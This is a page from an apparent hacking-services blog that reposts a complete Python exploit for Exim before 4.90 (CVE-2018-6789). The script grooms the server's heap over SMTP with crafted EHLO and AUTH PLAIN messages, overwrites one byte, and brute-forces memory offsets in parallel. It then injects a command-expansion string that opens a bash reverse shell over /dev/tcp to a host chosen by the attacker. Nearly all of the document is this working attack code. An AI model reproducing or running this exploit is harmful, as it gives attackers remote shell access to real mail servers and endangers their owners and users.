Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86385911

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: exim 4.90 - Remote Code Execution
# Date: 2018-10-24
# Exploit Author: hackk.gr
# Vendor Homepage: exim.org
# Version: exim < 4.90
# Tested on: debian exim 4.89, ubuntu exim 4.86_2
# CVE : CVE-2018-6789

#!/usr/bin/python
#debian exim 4.89
#ubuntu exim 4.86_2
import time
import socket
import struct
import os
import os.path
import sys
import ssl
import random
from multiprocessing import Process, Queue

s = None
f = None
test = True
rcpt_index_start = 0x120
bufsize = 8200

def connect(host, port):
   global s
   global f
   s = socket.create_connection((host,port))
   f = s.makefile("rw", bufsize=0)

def p(v):
   return struct.pack("<Q", v)

def readuntil(delim='\n'):
   data = ''
   auth_plain_available = False
   while True:
    
    l = f.readline()
    if l == "":
      return ""
      
    if l.find("PLAIN") > -1:
      auth_plain_available = True    
      
    if test:
      if len(l) > 70:
       sys.stdout.write(l[:70] + " ...\n")
       sys.stdout.flush()
      else:
       print l.strip("\r").strip("\n")
      
    data = data + l
    if data.find(delim) > -1:
     return data
    if l == "\n" or l == "":
     return ""
   return data

def write(data):
   f.write(data + "\n")
def ehlo(v):
   write("EHLO " + v)
   return readuntil('HELP')
def unrec(v):
   write(v)
   readuntil('command')
def auth_plain(v):
   encode = v.encode('base64').replace('\n','').replace('=','')
   write("AUTH PLAIN " + encode)
   l = f.readline()
   if test:
    if l.find("not advert") > -1 or l.find("not supported")> -1:
     raise Exception("NO AUTH PLAIN CONFIG")
    print l
def auth_plain1(v):
   encode = v.encode('base64').replace('\n','').replace('=','')
   write("AUTH PLAIN " + encode)
   l = f.readline()
   if test:
    if l.find("Incorrect") > -1:
     raise Exception("WRONG DRIVER")
    if l.find("not advert") > -1 or l.find("not supported")> -1:
     raise Exception("NO AUTH PLAIN CONFIG")
    print l
def auth_plain2(v,value):
   encode = v.encode('base64').replace('\n','').replace('=','')
   value = chr(value).encode('base64').replace('\n','').replace('=','')
   write("AUTH PLAIN " + encode[:-1] + value)
   l = f.readline()
   if test:
    if l.find("Incorrect") > -1:
     raise Exception("WRONG DRIVER")
    if l.find("not advert") > -1 or l.find("not supported")> -1:
     raise Exception("NO AUTH PLAIN CONFIG")
    print l
def one_byte_overwrite():
   v = "C" * bufsize
   encode = v.encode('base64').replace('\n','').replace('=','')
   encode = encode[:-1] + "PE"
   write("AUTH PLAIN " + encode)
   l = f.readline()
   if test:
    if l.find("Incorrect") > -1:
     raise Exception("WRONG DRIVER")
    if l.find("not advert") > -1 or l.find("not supported")> -1:
     raise Exception("NO AUTH PLAIN CONFIG")
    print l

lookup_table = {0x00: [0,3],
0x01: [0,7],
0x02: [0,11],
0x03: [0,15],
0x04: [0,19],
0x05: [0,23],
0x06: [0,27],
0x07: [0,31],
0x08: [0,35],
0x09: [0,39],
0x0a: [0,43],
0x0b: [0,47],
0x0c: [0,51],
0x0d: [0,55],
0x0e: [0,59],
0x0f: [0,63],
0x10: [0,67],
0x11: [0,71],
0x12: [0,75],
0x13: [0,79],
0x14: [0,83],
0x15: [0,87],
0x16: [0,91],
0x17: [0,95],
0x18: [0,99],
0x19: [0,103],
0x1a: [0,107],
0x1b: [0,111],
0x1c: [0,115],
0x1d: [0,119],
0x1e: [0,123],
0x1f: [0,127],
0x20: [0,131],
0x21: [0,135],
0x22: [0,139],
0x23: [0,143],
0x24: [0,147],
0x25: [0,151],
0x26: [0,155],
0x27: [0,159],
0x28: [0,163],
0x29: [0,167],
0x2a: [0,171],
0x2b: [0,175],
0x2c: [0,179],
0x2d: [0,183],
0x2e: [0,187],
0x2f: [0,191],
0x30: [0,195],
0x31: [0,199],
0x32: [0,203],
0x33: [0,207],
0x34: [0,211],
0x35: [0,215],
0x36: [0,219],
0x37: [0,223],
0x38: [0,227],
0x39: [0,231],
0x3a: [0,235],
0x3b: [0,239],
0x3c: [0,243],
0x3d: [0,247],
0x3e: [0,251],
0x3f: [0,254],
0x40: [64,3],
0x41: [64,7],
0x42: [64,11],
0x43: [64,15],
0x44: [64,19],
0x45: [64,23],
0x46: [64,27],
0x47: [64,31],
0x48: [64,35],
0x49: [64,39],
0x4a: [64,43],
0x4b: [64,47],
0x4c: [64,51],
0x4d: [64,55],
0x4e: [64,59],
0x4f: [64,63],
0x50: [64,67],
0x51: [64,71],
0x52: [64,75],
0x53: [64,79],
0x54: [64,83],
0x55: [64,87],
0x56: [64,91],
0x57: [64,95],
0x58: [64,99],
0x59: [64,103],
0x5a: [64,107],
0x5b: [64,111],
0x5c: [64,115],
0x5d: [64,119],
0x5e: [64,123],
0x5f: [64,127],
0x60: [64,131],
0x61: [64,135],
0x62: [64,139],
0x63: [64,143],
0x64: [64,147],
0x65: [64,151],
0x66: [64,155],
0x67: [64,159],
0x68: [64,163],
0x69: [64,167],
0x6a: [64,171],
0x6b: [64,175],
0x6c: [64,179],
0x6d: [64,183],
0x6e: [64,187],
0x6f: [64,191],
0x70: [64,195],
0x71: [64,199],
0x72: [64,203],
0x73: [64,207],
0x74: [64,211],
0x75: [64,215],
0x76: [64,219],
0x77: [64,223],
0x78: [64,227],
0x79: [64,231],
0x7a: [64,235],
0x7b: [64,239],
0x7c: [64,243],
0x7d: [64,247],
0x7e: [64,251],
0x7f: [64,254],
0x80: [128,3],
0x81: [128,7],
0x82: [128,11],
0x83: [128,15],
0x84: [128,19],
0x85: [128,23],
0x86: [128,27],
0x87: [128,31],
0x88: [128,35],
0x89: [128,39],
0x8a: [128,43],
0x8b: [128,47],
0x8c: [128,51],
0x8d: [128,55],
0x8e: [128,59],
0x8f: [128,63],
0x90: [128,67],
0x91: [128,71],
0x92: [128,75],
0x93: [128,79],
0x94: [128,83],
0x95: [128,87],
0x96: [128,91],
0x97: [128,95],
0x98: [128,99],
0x99: [128,103],
0x9a: [128,107],
0x9b: [128,111],
0x9c: [128,115],
0x9d: [128,119],
0x9e: [128,123],
0x9f: [128,127],
0xa0: [128,131],
0xa1: [128,135],
0xa2: [128,139],
0xa3: [128,143],
0xa4: [128,147],
0xa5: [128,151],
0xa6: [128,155],
0xa7: [128,159],
0xa8: [128,163],
0xa9: [128,167],
0xaa: [128,171],
0xab: [128,175],
0xac: [128,179],
0xad: [128,183],
0xae: [128,187],
0xaf: [128,191],
0xb0: [128,195],
0xb1: [128,199],
0xb2: [128,203],
0xb3: [128,207],
0xb4: [128,211],
0xb5: [128,215],
0xb6: [128,219],
0xb7: [128,223],
0xb8: [128,227],
0xb9: [128,231],
0xba: [128,235],
0xbb: [128,239],
0xbc: [128,243],
0xbd: [128,247],
0xbe: [128,251],
0xbf: [128,254],
0xc0: [192,3],
0xc1: [192,7],
0xc2: [192,11],
0xc3: [192,15],
0xc4: [192,19],
0xc5: [192,23],
0xc6: [192,27],
0xc7: [192,31],
0xc8: [192,35],
0xc9: [192,39],
0xca: [192,43],
0xcb: [192,47],
0xcc: [192,51],
0xcd: [192,55],
0xce: [192,59],
0xcf: [192,63],
0xd0: [192,67],
0xd1: [192,71],
0xd2: [192,75],
0xd3: [192,79],
0xd4: [192,83],
0xd5: [192,87],
0xd6: [192,91],
0xd7: [192,95],
0xd8: [192,99],
0xd9: [192,103],
0xda: [192,107],
0xdb: [192,111],
0xdc: [192,115],
0xdd: [192,119],
0xde: [192,123],
0xdf: [192,127],
0xe0: [192,131],
0xe1: [192,135],
0xe2: [192,139],
0xe3: [192,143],
0xe4: [192,147],
0xe5: [192,151],
0xe6: [192,155],
0xe7: [192,159],
0xe8: [192,163],
0xe9: [192,167],
0xea: [192,171],
0xeb: [192,175],
0xec: [192,179],
0xed: [192,183],
0xee: [192,187],
0xef: [192,191],
0xf0: [192,195],
0xf1: [192,199],
0xf2: [192,203],
0xf3: [192,207],
0xf4: [192,211],
0xf5: [192,215],
0xf6: [192,219],
0xf7: [192,223],
0xf8: [192,227],
0xf9: [192,231],
0xfa: [192,235],
0xfb: [192,239],
0xfc: [192,243],
0xfd: [192,247],
0xfe: [192,251],
0xff: [192,254],
} 

def exploit(b1, b2, b3, rcpt_index, target, cb, cbport):
   global s
   global f

   #if c % 0x50 == 0:
   # print " byte1=0x%02x byte2=0x%02x byte3=0x%02x rcpt_index=0x%02x" % (b1, b2, b3, rcpt_index)
   
   try:
    connect(target, 25)
   except:
    raise Exception("CONNECTION ERROR")
   
   banner = f.readline()
   if test:
    print banner.strip("\r").strip("\n")

   ehlo("A" * 8000)
   
   ehlo("B" * 16)
   
   unrec("\xff" * 2000)
   ehlo("D" * bufsize)
   one_byte_overwrite()
    
   fake_header  = p(0) 
   fake_header += p(0x1f51)
   res = auth_plain1("E" * 176 + fake_header + "E" * (bufsize-176-len(fake_header)))
   
   res = ehlo("F" * 16)
   if res == "":
   	raise Exception("CRASHED")
   
   unrec("\xff" * 2000)
   unrec("\xff" * 2000)

   fake_header  = p(0x4110)
   fake_header += p(0x1f50)
   auth_plain("G" * 176 + fake_header + "G" * (bufsize-176-len(fake_header)))
   
   auth_plain2('A'* (bufsize) + p(0x2021) + chr(b1) + chr(b2) + chr(lookup_table[b3][0]), lookup_table[b3][1])
   res = ehlo("I" * 16)
      
   if res == "":
    s.close()
    f.close()
    raise Exception("EHLO(I)")

   acl_smtp_rcpt_offset = rcpt_index
   local_host = cb
   local_port = cbport
   cmd = "/usr/bin/setsid /bin/bash -c \"/bin/bash --rcfile <(echo 'echo " + "0x%02x " % b1 + "0x%02x " % b2 + "0x%02x " % b3 + "0x%04x " % rcpt_index + "') -i >& /dev/tcp/" + local_host + "/" + str(local_port) + " 0>&1\""
   cmd_expansion_string = "${run{" + cmd + "}}\0"

   auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "\x00")# * (bufsize - acl_smtp_rcpt_offset - len(cmd_expansion_string))) 

   write("MAIL FROM:<postmaster@localhost>")

   res = f.readline()

   if res != "":
    if test:
     raise Exception("NO TARGET")
    raise Exception("OFFSET")

   raise Exception("BYTE")
 
   write("RCPT TO:<postmaster@localhost>")   
   readuntil("Accepted")
    
   write("RCPT TO:<postmaster@localhost>")
   if f.readline() == "":
    s.close()
    f.close()
    raise Exception("RCPT TO")

def checkvuln(host):
 try:
  exploit(0xff, 0xff, 0xff, rcpt_index_start, host, "127.0.0.1", "1337")
 except Exception as e:
  print e
  if str(e) == "EHLO(I)":
   return True
 return False

def _exploit(b1, b2, b3, rcpt_index, target, cb, cbport, q):
 if b1 > 0xff or b2 > 0xff or b3 > 0xff:
  q.put([b1,b2,b3,"VALUE"])
  return
 try:
  exploit(b1, b2, b3, rcpt_index, target, cb, cbport)
 except Exception as e:
  e = str(e)
  if e == "[Errno 104] Connection reset by peer" or e.find("EOF occurred") > -1:
    e = "BYTE"
  q.put([b1,b2,b3,e])
  
if __name__ == '__main__':
 if len(sys.argv) < 4:
  print "%s <cb> <cbport> <target>" % sys.argv[0]
  sys.exit(1)
  
 target = sys.argv[3]
 cb = sys.argv[1]
 cbport = sys.argv[2]

 if len(sys.argv) == 8:
  print "reuse fixed offsets"
  b1 = int(sys.argv[4], 16)
  b2 = int(sys.argv[5], 16)
  b3 = int(sys.argv[6], 16)
  rcpt_index = int(sys.argv[7], 16)

  try:
    exploit(b1, b2, b3, rcpt_index, target, cb, cbport)
  except Exception as e:
    print e
  sys.exit(1)

 print "check vuln"
 if not checkvuln(target):
  print "false"
  sys.exit(1)

 print "true"
 test=False

 allbytes = [offset for offset in xrange(0, 0x110)]
 allbytes_10 = [offset for offset in xrange(0x10, 0x110, 0x10)]
 b3_survived = []
 
 b3_survived_stop = False
 tested = []
 try:
   q = Queue()
   procs = []
   print
   print "Discover first byte in offset"
   print
   sys.stdout.write("Try Offsets %02x%02x%02x to %02x%02x%02x ..." % (0x00,0xff,0xff,0xff,0xff,0xff))
   for b3 in allbytes:
     if b3 % 0x10 == 0 and b3 <= 0xff:
      sys.stdout.write("\rTry Offsets %02x%02x%02x to %02x%02x%02x ..." % (b3,0xff,0xff,0xff,0xff,0xff))
     
     b1 = 0x00
     
     for b2 in allbytes_10:
      proc = Process(target=_exploit, args=(b1, b2, b3, rcpt_index_start, target, cb, cbport, q))
      procs.append(proc)
      proc.daemon = True
      proc.start()
     
      to_break = False
      if len(procs) == 16:
       for i in xrange(0,16):
         result = q.get()
         if result[3] == "BYTE":
           if [b3, b2] not in tested:
            tested.append([b3, b2])
            b3_survived.append(result[2])
            sys.stdout.write("\nOffset %02x%02x%02x Survived ..." % (result[2],result[1],result[0]))
           else:
            to_break = True
       
       procs[:] = []
       if to_break:
        break
   
   print "\n"
   print "Discover offsets for rcpt index brute force ..."
   print
   b1_survived = {}
   for b3 in b3_survived:
    for b2 in allbytes:
     if b2 % 0x10 == 0 and b2 <= 0xff:
      sys.stdout.write("\r\r\nTry Offsets %02x%02x%02x to %02x%02x%02x ... " % (b3,b2,0x00,b3,0xff,0xf0))
     for b1 in allbytes_10:
       proc = Process(target=_exploit, args=(b1, b2, b3, rcpt_index_start, target, cb, cbport, q))
       procs.append(proc)
       proc.daemon = True
       proc.start()

       if len(procs) == 16:
        for i in xrange(0,16):
          result = q.get()
          if result[3] == "OFFSET":
           if result[2] not in b1_survived:
             b1_survived[result[2]] = []
           b1_survived[result[2]].append(result)
           sys.stdout.write("\n%02x%02x%02x Survived ..." % (result[2],result[1],result[0]))
            
        procs[:] = []
   
   iteration_list = [n for n in xrange(0x100,0x1000,0x10)]
   iteration_list2 = [n for n in xrange(0x1000,0x3000,0x100)]

   for n in iteration_list2:
        iteration_list.append(n)

   b1_survived_priority = []
   b1_survived_additional = []

   for key in sorted(b1_survived):
    if len(b1_survived[key]) < 7:
      b1_survived_priority.append(b1_survived[key])
    else:
      b1_survived_additional.append(b1_survived[key])

   _b1_survived = []
   for result in b1_survived_priority:
    _b1_survived.append(result)
   for result in b1_survived_additional:
    _b1_survived.append(result)

   print "\n"
   print "Start rcpt index brute force ..."
   print

   for result in _b1_survived:
    for s in result:
     sys.stdout.write("\rTry Offset %02x%02x%02x with rcpt index from 0x100 to 0x3000 ..." % (s[2],s[1],s[0]))
     for rcpt_index in iteration_list:
       proc = Process(target=_exploit, args=(s[0], s[1], s[2], rcpt_index, target, cb, cbport, q))
       procs.append(proc)
       proc.daemon = True
       proc.start()

       if len(procs) == 16:
        for i in xrange(0,16):
         q.get()

        procs[:] = []
 except KeyboardInterrupt:
  pass

 print "done."